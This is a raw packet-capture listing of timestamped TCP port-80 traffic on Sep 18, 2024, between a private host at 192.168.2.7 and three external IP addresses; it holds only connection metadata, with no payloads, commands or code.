Sep 18, 2024 14:30:10.201086044 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201087952 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201101065 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201112032 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201122999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201126099 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201134920 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.201147079 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201176882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201176882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.201225042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201239109 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201253891 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201266050 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201268911 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201277971 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201292992 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201297998 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201297998 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201311111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201323032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201335907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201347113 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201349020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201349020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201359034 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201370001 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201378107 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201383114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201395988 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201410055 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201421022 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201425076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201425076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201432943 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201445103 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201456070 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201467037 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201479912 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201482058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201482058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201482058 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201489925 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201548100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201548100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201548100 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.201900959 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201915026 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.201925993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202115059 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202126980 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202136993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202148914 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202157974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202157974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202157974 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202162027 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202173948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202184916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202195883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202198029 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202198982 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202208042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202219963 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202231884 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202244043 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202255011 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202266932 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202270985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202270985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202270985 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202277899 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202300072 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202311993 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202325106 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202337980 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202347040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202347040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202347040 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202348948 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202361107 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202372074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202383995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202385902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202385902 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202395916 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202408075 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202419996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202430010 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202441931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202451944 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202466011 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202466011 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202466011 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202476978 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.202487946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202498913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202507019 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202510118 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202526093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202537060 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202538967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202548027 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202552080 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202563047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202569962 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202574968 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202586889 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202586889 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202600002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.202610970 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202611923 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202625036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202626944 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202636957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202649117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202658892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202665091 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.202667952 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202670097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202682018 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202692986 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202692986 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202703953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202708006 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202716112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202728033 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202733040 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202755928 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202769995 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.202831984 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.202956915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202970028 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202980995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202992916 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.202996016 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203003883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203010082 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203011990 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203015089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203027010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203037024 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203037977 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203048944 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203056097 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203061104 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203072071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203073978 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203082085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203093052 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203094959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203104973 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203123093 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203124046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203136921 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203146935 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203146935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203146935 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203159094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203171015 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203182936 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203193903 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203195095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203195095 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203207016 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203222036 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203229904 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203236103 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203247070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203258038 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203259945 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203259945 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203269958 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203280926 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203291893 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203293085 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203294039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203322887 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203335047 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203344107 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203344107 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203346968 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203361034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203375101 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203397036 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203398943 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203411102 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203412056 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203412056 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203425884 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203435898 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203438997 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203452110 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203454971 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203464031 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203475952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203488111 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203495979 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203495979 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203500986 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203512907 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203524113 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203536034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203542948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203542948 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203547955 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203562021 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203572989 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203583956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203587055 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203587055 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203665018 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203843117 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203855038 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203866005 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203876972 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203886032 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203921080 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.203962088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.203974009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.203984976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.204003096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.204005003 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.204026937 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.204090118 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204108953 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.204122066 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.204133987 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.204138041 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204140902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.204158068 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.204175949 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.204201937 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204214096 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204226017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204238892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204251051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204255104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204255104 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204262018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204273939 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204277992 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204284906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204297066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204302073 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204308033 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204317093 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204320908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204340935 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204353094 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204363108 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204363108 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204365015 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204376936 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204386950 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204405069 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204406023 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204418898 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204437017 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204446077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204446077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204446077 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204449892 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204459906 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204468012 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204471111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204482079 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204492092 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204504967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204508066 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204516888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204526901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204526901 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204536915 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204549074 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204560995 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204570055 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204571962 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204583883 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204596996 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204607010 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204608917 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204608917 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204618931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204623938 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204634905 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204646111 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204657078 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204662085 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204668999 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204682112 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204693079 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204698086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204698086 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204703093 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204715967 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204720020 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204727888 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204740047 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204752922 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204754114 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204766989 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204780102 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.204782009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204782009 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204982996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.204982996 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205080032 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205092907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205105066 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205117941 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205128908 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205137014 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205137014 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205140114 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205151081 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:10.205163002 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205174923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205179930 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205179930 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205193996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.205200911 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:10.205205917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.205216885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.205218077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205218077 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:10.205226898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:10.205240011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205240011 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.205257893 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205264091 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:10.205270052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:10.205282927 CEST	80	49705	103.130.147.211	192.168.2.7
